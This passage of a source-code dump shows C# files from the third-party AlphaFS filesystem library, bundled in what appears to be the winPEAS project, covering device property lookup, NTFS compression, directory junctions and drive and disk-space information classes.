NativeMethods.SP_DEVICE_INTERFACE_DETAIL_DATA GetDeviceInterfaceDetail(SafeHandle safeHandle, ref NativeMethods.SP_DEVICE_INTERFACE_DATA interfaceData, ref NativeMethods.SP_DEVINFO_DATA infoData) { var didd = new NativeMethods.SP_DEVICE_INTERFACE_DETAIL_DATA {cbSize = (uint) (IntPtr.Size == 4 ? 6 : 8)}; var success = NativeMethods.SetupDiGetDeviceInterfaceDetail(safeHandle, ref interfaceData, ref didd, (uint) Marshal.SizeOf(didd), IntPtr.Zero, ref infoData); var lastError = Marshal.GetLastWin32Error(); if (!success) NativeError.ThrowException(lastError); return didd; } [SecurityCritical] private static string GetDeviceRegistryProperty(SafeHandle safeHandle, NativeMethods.SP_DEVINFO_DATA infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum property) { var bufferSize = NativeMethods.DefaultFileBufferSize / 8; // 512 while (true) using (var safeBuffer = new SafeGlobalMemoryBufferHandle(bufferSize)) { var success = NativeMethods.SetupDiGetDeviceRegistryProperty(safeHandle, ref infoData, property, IntPtr.Zero, safeBuffer, (uint) safeBuffer.Capacity, IntPtr.Zero); var lastError = Marshal.GetLastWin32Error(); if (success) { var value = safeBuffer.PtrToStringUni(); return !Utils.IsNullOrWhiteSpace(value) ? value.Trim() : null; } // MSDN: SetupDiGetDeviceRegistryProperty returns ERROR_INVALID_DATA error code if // the requested property does not exist for a device or if the property data is not valid. if (lastError == Win32Errors.ERROR_INVALID_DATA) return null; bufferSize = GetDoubledBufferSizeOrThrowException(lastError, safeBuffer, bufferSize, property.ToString()); } } [SecurityCritical] private static void SetDeviceProperties(SafeHandle safeHandle, DeviceInfo deviceInfo, NativeMethods.SP_DEVINFO_DATA infoData) { SetMinimalDeviceProperties(safeHandle, deviceInfo, infoData); deviceInfo.CompatibleIds = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.CompatibleIds); deviceInfo.Driver = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.Driver); deviceInfo.EnumeratorName = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.EnumeratorName); deviceInfo.HardwareId = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.HardwareId); deviceInfo.LocationInformation = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.LocationInformation); deviceInfo.LocationPaths = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.LocationPaths); deviceInfo.Manufacturer = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.Manufacturer); deviceInfo.Service = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.Service); } [SecurityCritical] private static void SetMinimalDeviceProperties(SafeHandle safeHandle, DeviceInfo deviceInfo, NativeMethods.SP_DEVINFO_DATA infoData) { deviceInfo.BaseContainerId = new Guid(GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.BaseContainerId)); deviceInfo.ClassGuid = new Guid(GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.ClassGuid)); deviceInfo.DeviceClass = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.Class); deviceInfo.DeviceDescription = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.DeviceDescription); deviceInfo.FriendlyName = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.FriendlyName); deviceInfo.PhysicalDeviceObjectName = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.PhysicalDeviceObjectName); } [SecurityCritical] internal static int GetDoubledBufferSizeOrThrowException(int lastError, SafeHandle safeBuffer, int bufferSize, string pathForException) { if (null != safeBuffer && !safeBuffer.IsClosed) safeBuffer.Close(); switch ((uint) lastError) { case Win32Errors.ERROR_MORE_DATA: case Win32Errors.ERROR_INSUFFICIENT_BUFFER: bufferSize *= 2; break; default: NativeMethods.IsValidHandle(safeBuffer, lastError, string.Format(CultureInfo.InvariantCulture, "Buffer size: {0}. Path: {1}", bufferSize.ToString(CultureInfo.InvariantCulture), pathForException)); break; } return bufferSize; } /// Repeatedly invokes InvokeIoControl with the specified input until enough memory has been allocated. [SecurityCritical] private static void InvokeIoControlUnknownSize(SafeFileHandle handle, uint controlCode, T input, uint increment = 128) { var inputSize = (uint) Marshal.SizeOf(input); var outputLength = increment; do { var output = new byte[outputLength]; uint bytesReturned; var success = NativeMethods.DeviceIoControlUnknownSize(handle, controlCode, input, inputSize, output, outputLength, out bytesReturned, IntPtr.Zero); var lastError = Marshal.GetLastWin32Error(); if (!success) { switch ((uint) lastError) { case Win32Errors.ERROR_MORE_DATA: case Win32Errors.ERROR_INSUFFICIENT_BUFFER: outputLength += increment; break; default: if (lastError != Win32Errors.ERROR_SUCCESS) NativeError.ThrowException(lastError); break; } } else break; } while (true); } #endregion // Private Helpers #endregion // Enumerate Devices #region Compression /// [AlphaFS] Sets the NTFS compression state of a file or directory on a volume whose file system supports per-file and per-directory compression. /// The transaction. /// Specifies that is a file or directory. /// A path that describes a folder or file to compress or decompress. /// true = compress, false = decompress /// Indicates the format of the path parameter(s). [SecurityCritical] internal static void ToggleCompressionCore(KernelTransaction transaction, bool isFolder, string path, bool compress, PathFormat pathFormat) { using (var handle = File.CreateFileCore(transaction, isFolder, path, ExtendedFileAttributes.BackupSemantics, null, FileMode.Open, FileSystemRights.Modify, FileShare.None, true, false, pathFormat)) InvokeIoControlUnknownSize(handle, NativeMethods.FSCTL_SET_COMPRESSION, compress ? 1 : 0); } #endregion // Compression #region Link /// [AlphaFS] Creates an NTFS directory junction (similar to CMD command: "MKLINK /J"). internal static void CreateDirectoryJunction(SafeFileHandle safeHandle, string directoryPath) { var targetDirBytes = Encoding.Unicode.GetBytes(Path.NonInterpretedPathPrefix + Path.GetRegularPathCore(directoryPath, GetFullPathOptions.AddTrailingDirectorySeparator, false)); var header = new NativeMethods.ReparseDataBufferHeader { ReparseTag = ReparsePointTag.MountPoint, ReparseDataLength = (ushort) (targetDirBytes.Length + 12) }; var mountPoint = new NativeMethods.MountPointReparseBuffer { SubstituteNameOffset = 0, SubstituteNameLength = (ushort) targetDirBytes.Length, PrintNameOffset = (ushort) (targetDirBytes.Length + UnicodeEncoding.CharSize), PrintNameLength = 0 }; var reparseDataBuffer = new NativeMethods.REPARSE_DATA_BUFFER { ReparseTag = header.ReparseTag, ReparseDataLength = header.ReparseDataLength, SubstituteNameOffset = mountPoint.SubstituteNameOffset, SubstituteNameLength = mountPoint.SubstituteNameLength, PrintNameOffset = mountPoint.PrintNameOffset, PrintNameLength = mountPoint.PrintNameLength, PathBuffer = new byte[NativeMethods.MAXIMUM_REPARSE_DATA_BUFFER_SIZE - 16] // 16368 }; targetDirBytes.CopyTo(reparseDataBuffer.PathBuffer, 0); using (var safeBuffer = new SafeGlobalMemoryBufferHandle(Marshal.SizeOf(reparseDataBuffer))) { safeBuffer.StructureToPtr(reparseDataBuffer, false); uint bytesReturned; var succes = NativeMethods.DeviceIoControl2(safeHandle, NativeMethods.FSCTL_SET_REPARSE_POINT, safeBuffer, (uint) (targetDirBytes.Length + 20), IntPtr.Zero, 0, out bytesReturned, IntPtr.Zero); var lastError = Marshal.GetLastWin32Error(); if (!succes) NativeError.ThrowException(lastError, directoryPath); } } /// [AlphaFS] Deletes an NTFS directory junction. internal static void DeleteDirectoryJunction(SafeFileHandle safeHandle) { var reparseDataBuffer = new NativeMethods.REPARSE_DATA_BUFFER { ReparseTag = ReparsePointTag.MountPoint, ReparseDataLength = 0, PathBuffer = new byte[NativeMethods.MAXIMUM_REPARSE_DATA_BUFFER_SIZE - 16] // 16368 }; using (var safeBuffer = new SafeGlobalMemoryBufferHandle(Marshal.SizeOf(reparseDataBuffer))) { safeBuffer.StructureToPtr(reparseDataBuffer, false); uint bytesReturned; var success = NativeMethods.DeviceIoControl2(safeHandle, NativeMethods.FSCTL_DELETE_REPARSE_POINT, safeBuffer, NativeMethods.REPARSE_DATA_BUFFER_HEADER_SIZE, IntPtr.Zero, 0, out bytesReturned, IntPtr.Zero); var lastError = Marshal.GetLastWin32Error(); if (!success) NativeError.ThrowException(lastError); } } /// [AlphaFS] Get information about the target of a mount point or symbolic link on an NTFS file system. /// /// [SecurityCritical] internal static LinkTargetInfo GetLinkTargetInfo(SafeFileHandle safeHandle, string reparsePath) { using (var safeBuffer = GetLinkTargetData(safeHandle, reparsePath)) { var header = safeBuffer.PtrToStructure(0); var marshalReparseBuffer = (int) Marshal.OffsetOf(typeof(NativeMethods.ReparseDataBufferHeader), "data"); var dataOffset = (int) (marshalReparseBuffer + (header.ReparseTag == ReparsePointTag.MountPoint ? Marshal.OffsetOf(typeof(NativeMethods.MountPointReparseBuffer), "data") : Marshal.OffsetOf(typeof(NativeMethods.SymbolicLinkReparseBuffer), "data")).ToInt64()); var dataBuffer = new byte[NativeMethods.MAXIMUM_REPARSE_DATA_BUFFER_SIZE - dataOffset]; switch (header.ReparseTag) { // MountPoint can be a junction or mounted drive (mounted drive starts with "\??\Volume"). case ReparsePointTag.MountPoint: var mountPoint = safeBuffer.PtrToStructure(marshalReparseBuffer); safeBuffer.CopyTo(dataOffset, dataBuffer); return new LinkTargetInfo( Encoding.Unicode.GetString(dataBuffer, mountPoint.SubstituteNameOffset, mountPoint.SubstituteNameLength), Encoding.Unicode.GetString(dataBuffer, mountPoint.PrintNameOffset, mountPoint.PrintNameLength)); case ReparsePointTag.SymLink: var symLink = safeBuffer.PtrToStructure(marshalReparseBuffer); safeBuffer.CopyTo(dataOffset, dataBuffer); return new SymbolicLinkTargetInfo( Encoding.Unicode.GetString(dataBuffer, symLink.SubstituteNameOffset, symLink.SubstituteNameLength), Encoding.Unicode.GetString(dataBuffer, symLink.PrintNameOffset, symLink.PrintNameLength), symLink.Flags); default: throw new UnrecognizedReparsePointException(reparsePath); } } } /// [AlphaFS] Get information about the target of a mount point or symbolic link on an NTFS file system. /// /// [SuppressMessage("Microsoft.Usage", "CA2202:Do not dispose objects multiple times")] [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope", Justification = "Disposing is controlled.")] [SecurityCritical] private static SafeGlobalMemoryBufferHandle GetLinkTargetData(SafeFileHandle safeHandle, string reparsePath) { var safeBuffer = new SafeGlobalMemoryBufferHandle(NativeMethods.MAXIMUM_REPARSE_DATA_BUFFER_SIZE); while (true) { uint bytesReturned; var success = NativeMethods.DeviceIoControl(safeHandle, NativeMethods.FSCTL_GET_REPARSE_POINT, IntPtr.Zero, 0, safeBuffer, (uint) safeBuffer.Capacity, out bytesReturned, IntPtr.Zero); var lastError = Marshal.GetLastWin32Error(); if (!success) { switch ((uint) lastError) { case Win32Errors.ERROR_MORE_DATA: case Win32Errors.ERROR_INSUFFICIENT_BUFFER: // Should not happen since we already use the maximum size. if (safeBuffer.Capacity < bytesReturned) safeBuffer.Close(); break; default: if (lastError != Win32Errors.ERROR_SUCCESS) NativeError.ThrowException(lastError, reparsePath); break; } } else break; } return safeBuffer; } #endregion // Link } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/DeviceInfo.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.Generic; using System.Security; using System.Security.Permissions; namespace Alphaleonis.Win32.Filesystem { /// Provides access to information of a device, on a local or remote host. [SecurityPermission(SecurityAction.InheritanceDemand, UnmanagedCode = true)] [Serializable] [SecurityCritical] public sealed class DeviceInfo { #region Constructors /// Initializes a DeviceInfo class. //[SecurityCritical] //public DeviceInfo() //{ // HostName = Host.GetUncName(); //} /// Initializes a DeviceInfo class. /// The DNS or NetBIOS name of the remote server. null refers to the local host. //[SecurityCritical] //public DeviceInfo(string host) //{ // HostName = Host.GetUncName(host).Replace(Path.UncPrefix, string.Empty); //} #endregion // Constructors #region Methods /// Enumerates all available devices on the local host. /// One of the devices. /// instances of type from the local host. //[SecurityCritical] //public IEnumerable EnumerateDevices(DeviceGuid deviceGuid) //{ // return Device.EnumerateDevicesCore(HostName, deviceGuid, true); //} #endregion // Methods #region Properties /// Represents the value of the base container identifier (ID) .The Windows Plug and Play (PnP) manager assigns this value to the device node (devnode). public Guid BaseContainerId { get; internal set; } /// Represents the name of the device setup class that a device instance belongs to. public string DeviceClass { get; internal set; } /// Represents the of the device setup class that a device instance belongs to. public Guid ClassGuid { get; internal set; } /// Represents the list of compatible identifiers for a device instance. public string CompatibleIds { get; internal set; } /// Represents a description of a device instance. public string DeviceDescription { get; internal set; } /// The device interface path. public string DevicePath { get; internal set; } /// Represents the registry entry name of the driver key for a device instance. public string Driver { get; internal set; } /// Represents the name of the enumerator for a device instance. public string EnumeratorName { get; internal set; } /// Represents the friendly name of a device instance. public string FriendlyName { get; internal set; } /// Represents the list of hardware identifiers for a device instance. public string HardwareId { get; internal set; } /// The host name that was passed to the class constructor. public string HostName { get; internal set; } /// Gets the instance Id of the device. public string InstanceId { get; internal set; } /// Represents the bus-specific physical location of a device instance. public string LocationInformation { get; internal set; } /// Represents the location of a device instance in the device tree. public string LocationPaths { get; internal set; } /// Represents the name of the manufacturer of a device instance. public string Manufacturer { get; internal set; } /// Encapsulates the physical device location information provided by a device's firmware to Windows. public string PhysicalDeviceObjectName { get; internal set; } /// Represents the name of the service that is installed for a device instance. public string Service { get; internal set; } #endregion // Properties } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/DiskSpaceInfo.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Globalization; using System.Runtime.InteropServices; using System.Security; using winPEAS._3rdParty.AlphaFS; namespace Alphaleonis.Win32.Filesystem { /// Retrieves information about the amount of space that is available on a disk volume, which is the total amount of space, /// the total amount of free space, and the total amount of free space available to the user that is associated with the calling thread. /// This class cannot be inherited. /// [Serializable] [SecurityCritical] public sealed class DiskSpaceInfo { [NonSerialized] private readonly bool _initGetClusterInfo = true; [NonSerialized] private readonly bool _initGetSpaceInfo = true; [NonSerialized] private readonly CultureInfo _cultureInfo = CultureInfo.CurrentCulture; [NonSerialized] private readonly bool _continueOnAccessError; /// Initializes a DiskSpaceInfo instance. /// A valid drive path or drive letter. This can be either uppercase or lowercase, 'a' to 'z' or a network share in the format: \\server\share /// This is a Lazyloading object; call to populate all properties first before accessing. [SuppressMessage("Microsoft.Design", "CA1062:Validate arguments of public methods", MessageId = "0", Justification = "Utils.IsNullOrWhiteSpace validates arguments.")] [SecurityCritical] public DiskSpaceInfo(string drivePath) { if (Utils.IsNullOrWhiteSpace(drivePath)) throw new ArgumentNullException("drivePath"); drivePath = drivePath.Length == 1 ? drivePath + Path.VolumeSeparatorChar : Path.GetPathRoot(drivePath, false); if (Utils.IsNullOrWhiteSpace(drivePath)) throw new ArgumentException(Resources.InvalidDriveLetterArgument, "drivePath"); // MSDN: // If this parameter is a UNC name, it must include a trailing backslash (for example, "\\MyServer\MyShare\"). // Furthermore, a drive specification must have a trailing backslash (for example, "C:\"). // The calling application must have FILE_LIST_DIRECTORY access rights for this directory. DriveName = Path.AddTrailingDirectorySeparator(drivePath, false); } /// Initializes a DiskSpaceInfo instance. /// A valid drive path or drive letter. This can be either uppercase or lowercase, 'a' to 'z' or a network share in the format: \\server\share /// null gets both size- and disk cluster information. true Get only disk cluster information, false Get only size information. /// Refreshes the state of the object. /// true suppress any Exception that might be thrown as a result from a failure, such as unavailable resources. [SecurityCritical] public DiskSpaceInfo(string drivePath, bool? spaceInfoType, bool refresh, bool continueOnException) : this(drivePath) { if (spaceInfoType == null) { _initGetSpaceInfo = true; _initGetClusterInfo = true; } else { _initGetSpaceInfo = (bool) !spaceInfoType; _initGetClusterInfo = (bool) spaceInfoType; } _continueOnAccessError = continueOnException; if (refresh) Refresh(); } /// Indicates the amount of available free space on a drive, formatted as percentage. public string AvailableFreeSpacePercent { get { return PercentCalculate(TotalNumberOfBytes - (TotalNumberOfBytes - TotalNumberOfFreeBytes), 0, TotalNumberOfBytes).ToString("0.##", _cultureInfo) + "%"; } } /// Indicates the amount of available free space on a drive, formatted as a unit size. public string AvailableFreeSpaceUnitSize { get { return Utils.UnitSizeToText(TotalNumberOfFreeBytes, _cultureInfo); } } /// Returns the Clusters size. public long ClusterSize { get { return SectorsPerCluster * BytesPerSector; } } /// Gets the name of a drive. /// The name of the drive. /// This property is the name assigned to the drive, such as C:\ or E:\ public string DriveName { get; private set; } /// The total number of bytes on a disk that are available to the user who is associated with the calling thread, formatted as a unit size. public string TotalSizeUnitSize { get { return Utils.UnitSizeToText(TotalNumberOfBytes, _cultureInfo); } } /// Indicates the amount of used space on a drive, formatted as percentage. public string UsedSpacePercent { get { return PercentCalculate(TotalNumberOfBytes - FreeBytesAvailable, 0, TotalNumberOfBytes).ToString("0.##", _cultureInfo) + "%"; } } /// Indicates the amount of used space on a drive, formatted as a unit size. public string UsedSpaceUnitSize { get { return Utils.UnitSizeToText(TotalNumberOfBytes - FreeBytesAvailable, _cultureInfo); } } /// The total number of free bytes on a disk that are available to the user who is associated with the calling thread. public long FreeBytesAvailable { get; private set; } /// The total number of bytes on a disk that are available to the user who is associated with the calling thread. public long TotalNumberOfBytes { get; private set; } /// The total number of free bytes on a disk. public long TotalNumberOfFreeBytes { get; private set; } /// The number of bytes per sector. public int BytesPerSector { get; private set; } /// The total number of free clusters on the disk that are available to the user who is associated with the calling thread. public int NumberOfFreeClusters { get; private set; } /// The number of sectors per cluster. public int SectorsPerCluster { get; private set; } /// The total number of clusters on the disk that are available to the user who is associated with the calling thread. /// If per-user disk quotas are in use, this value may be less than the total number of clusters on the disk. /// public long TotalNumberOfClusters { get; private set; } /// Refreshes the state of the object. public void Refresh() { Reset(); using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors)) { int lastError; // Get size information. if (_initGetSpaceInfo) { long freeBytesAvailable, totalNumberOfBytes, totalNumberOfFreeBytes; var success = NativeMethods.GetDiskFreeSpaceEx(DriveName, out freeBytesAvailable, out totalNumberOfBytes, out totalNumberOfFreeBytes); lastError = Marshal.GetLastWin32Error(); if (!success && !_continueOnAccessError && lastError != Win32Errors.ERROR_NOT_READY) NativeError.ThrowException(lastError, DriveName); FreeBytesAvailable = freeBytesAvailable; TotalNumberOfBytes = totalNumberOfBytes; TotalNumberOfFreeBytes = totalNumberOfFreeBytes; } // Get cluster information. if (_initGetClusterInfo) { int sectorsPerCluster, bytesPerSector, numberOfFreeClusters; uint totalNumberOfClusters; var success = NativeMethods.GetDiskFreeSpace(DriveName, out sectorsPerCluster, out bytesPerSector, out numberOfFreeClusters, out totalNumberOfClusters); lastError = Marshal.GetLastWin32Error(); if (!success && !_continueOnAccessError && lastError != Win32Errors.ERROR_NOT_READY) NativeError.ThrowException(lastError, DriveName); BytesPerSector = bytesPerSector; NumberOfFreeClusters = numberOfFreeClusters; SectorsPerCluster = sectorsPerCluster; TotalNumberOfClusters = totalNumberOfClusters; } } } /// Initializes all properties to 0. private void Reset() { if (_initGetSpaceInfo) { FreeBytesAvailable = 0; TotalNumberOfBytes = 0; TotalNumberOfFreeBytes = 0; } if (_initGetClusterInfo) { BytesPerSector = 0; NumberOfFreeClusters = 0; SectorsPerCluster = 0; TotalNumberOfClusters = 0; } } /// Returns the drive name. /// A string that represents this object. public override string ToString() { return DriveName; } /// Calculates a percentage value. private static double PercentCalculate(double currentValue, double minimumValue, double maximumValue) { return currentValue < 0 || maximumValue <= 0 ? 0 : currentValue * 100 / (maximumValue - minimumValue); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/DriveInfo.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.Generic; using System.Diagnostics.CodeAnalysis; using System.IO; using System.Linq; using System.Security; using winPEAS._3rdParty.AlphaFS; namespace Alphaleonis.Win32.Filesystem { /// Provides access to information on a local or remote drive. /// /// This class models a drive and provides methods and properties to query for drive information. /// Use DriveInfo to determine what drives are available, and what type of drives they are. /// You can also query to determine the capacity and available free space on the drive. /// [Serializable] [SecurityCritical] public sealed class DriveInfo { [NonSerialized] private readonly VolumeInfo _volumeInfo; [NonSerialized] private readonly DiskSpaceInfo _dsi; [NonSerialized] private bool _initDsie; [NonSerialized] private DriveType? _driveType; [NonSerialized] private string _dosDeviceName; [NonSerialized] private DirectoryInfo _rootDirectory; [NonSerialized] private readonly string _name; #region Constructors /// Provides access to information on the specified drive. /// /// /// /// A valid drive path or drive letter. /// This can be either uppercase or lowercase, /// 'a' to 'z' or a network share in the format: \\server\share /// [SuppressMessage("Microsoft.Design", "CA1062:Validate arguments of public methods", MessageId = "0", Justification = "Utils.IsNullOrWhiteSpace validates arguments.")] [SecurityCritical] public DriveInfo(string driveName) { if (Utils.IsNullOrWhiteSpace(driveName)) throw new ArgumentNullException("driveName"); driveName = driveName.Length == 1 ? driveName + Path.VolumeSeparatorChar : Path.GetPathRoot(driveName, false); if (Utils.IsNullOrWhiteSpace(driveName)) throw new ArgumentException(Resources.InvalidDriveLetterArgument, "driveName"); _name = Path.AddTrailingDirectorySeparator(driveName, false); // Initiate VolumeInfo() lazyload instance. _volumeInfo = new VolumeInfo(_name, false, true); // Initiate DiskSpaceInfo() lazyload instance. _dsi = new DiskSpaceInfo(_name, null, false, true); } #endregion // Constructors #region Properties /// Indicates the amount of available free space on a drive. /// The amount of free space available on the drive, in bytes. /// This property indicates the amount of free space available on the drive. Note that this number may be different from the number because this property takes into account disk quotas. public long AvailableFreeSpace { get { GetDeviceInfo(3, 0); return null == _dsi ? 0 : _dsi.FreeBytesAvailable; } } /// Gets the name of the file system, such as NTFS or FAT32. /// Use DriveFormat to determine what formatting a drive uses. public string DriveFormat { get { return (string) GetDeviceInfo(0, 1); } } /// Gets the drive type. /// One of the values. /// /// The DriveType property indicates whether a drive is any of: CDRom, Fixed, Unknown, Network, NoRootDirectory, /// Ram, Removable, or Unknown. Values are listed in the enumeration. /// public DriveType DriveType { get { return (DriveType) GetDeviceInfo(2, 0); } } /// Gets a value indicating whether a drive is ready. /// true if the drive is ready; otherwise, false. /// /// IsReady indicates whether a drive is ready. For example, it indicates whether a CD is in a CD drive or whether /// a removable storage device is ready for read/write operations. If you do not test whether a drive is ready, and /// it is not ready, querying the drive using DriveInfo will raise an IOException. /// /// Do not rely on IsReady() to avoid catching exceptions from other members such as TotalSize, TotalFreeSpace, and DriveFormat. /// Between the time that your code checks IsReady and then accesses one of the other properties /// (even if the access occurs immediately after the check), a drive may have been disconnected or a disk may have been removed. /// public bool IsReady { get { return File.ExistsCore(null, true, Name, PathFormat.LongFullPath); } } /// Gets the name of the drive. /// The name of the drive. /// This property is the name assigned to the drive, such as C:\ or E:\ public string Name { get { return _name; } } /// Gets the root directory of a drive. /// A DirectoryInfo object that contains the root directory of the drive. public DirectoryInfo RootDirectory { get { return (DirectoryInfo) GetDeviceInfo(2, 1); } } /// Gets the total amount of free space available on a drive. /// The total free space available on a drive, in bytes. /// This property indicates the total amount of free space available on the drive, not just what is available to the current user. public long TotalFreeSpace { get { GetDeviceInfo(3, 0); return null == _dsi ? 0 : _dsi.TotalNumberOfFreeBytes; } } /// Gets the total size of storage space on a drive. /// The total size of the drive, in bytes. /// This property indicates the total size of the drive in bytes, not just what is available to the current user. public long TotalSize { get { GetDeviceInfo(3, 0); return null == _dsi ? 0 : _dsi.TotalNumberOfBytes; } } /// Gets or sets the volume label of a drive. /// The volume label. /// /// The label length is determined by the operating system. For example, NTFS allows a volume label /// to be up to 32 characters long. Note that null is a valid VolumeLabel. /// public string VolumeLabel { get { return (string) GetDeviceInfo(0, 2); } set { Volume.SetVolumeLabel(Name, value); } } /// [AlphaFS] Returns the instance. public DiskSpaceInfo DiskSpaceInfo { get { GetDeviceInfo(3, 0); return _dsi; } } /// [AlphaFS] The MS-DOS device name. public string DosDeviceName { get { return (string) GetDeviceInfo(1, 0); } } /// [AlphaFS] Indicates if this drive is a SUBST.EXE / DefineDosDevice drive mapping. public bool IsDosDeviceSubstitute { get { return !Utils.IsNullOrWhiteSpace(DosDeviceName) && DosDeviceName.StartsWith(Path.NonInterpretedPathPrefix, StringComparison.OrdinalIgnoreCase); } } /// [AlphaFS] Indicates if this drive is a UNC path. public bool IsUnc { get { return !IsDosDeviceSubstitute && DriveType == DriveType.Network || // Handle Host devices with file systems: FAT/FAT32, UDF (CDRom), ... Name.StartsWith(Path.UncPrefix, StringComparison.Ordinal) && DriveType == DriveType.NoRootDirectory && DriveFormat.Equals(DriveType.Unknown.ToString(), StringComparison.OrdinalIgnoreCase); } } /// [AlphaFS] Determines whether the specified volume name is a defined volume on the current computer. public bool IsVolume { get { return null != GetDeviceInfo(0, 0); } } /// [AlphaFS] Contains information about a file-system volume. /// A VolumeInfo object that contains file-system volume information of the drive. public VolumeInfo VolumeInfo { get { return (VolumeInfo) GetDeviceInfo(0, 0); } } #endregion // Properties #region Methods #region .NET /// Retrieves the of all logical drives on the Computer. /// An array of type that represents the logical drives on the Computer. [SecurityCritical] public static DriveInfo[] GetDrives() { return Directory.EnumerateLogicalDrivesCore(false, false).ToArray(); } /// Returns a drive name as a string. /// The name of the drive. /// This method returns the Name property. public override string ToString() { return _name; } #endregion // .NET /// [AlphaFS] Enumerates the drive names of all logical drives on the Computer. /// Retrieve logical drives as known by the Environment. /// Retrieve only when accessible (IsReady) logical drives. /// /// An IEnumerable of type that represents /// the logical drives on the Computer. /// [SecurityCritical] public static IEnumerable EnumerateDrives(bool fromEnvironment, bool isReady) { return Directory.EnumerateLogicalDrivesCore(fromEnvironment, isReady); } /// [AlphaFS] Gets the first available drive letter on the local system. /// A drive letter as . When no drive letters are available, an exception is thrown. /// The letters "A" and "B" are reserved for floppy drives and will never be returned by this function. public static char GetFreeDriveLetter() { return GetFreeDriveLetter(false); } /// Gets an available drive letter on the local system. /// When true get the last available drive letter. When false gets the first available drive letter. /// A drive letter as . When no drive letters are available, an exception is thrown. /// The letters "A" and "B" are reserved for floppy drives and will never be returned by this function. /// No drive letters available. [SuppressMessage("Microsoft.Design", "CA1024:UsePropertiesWhereAppropriate")] public static char GetFreeDriveLetter(bool getLastAvailable) { var freeDriveLetters = 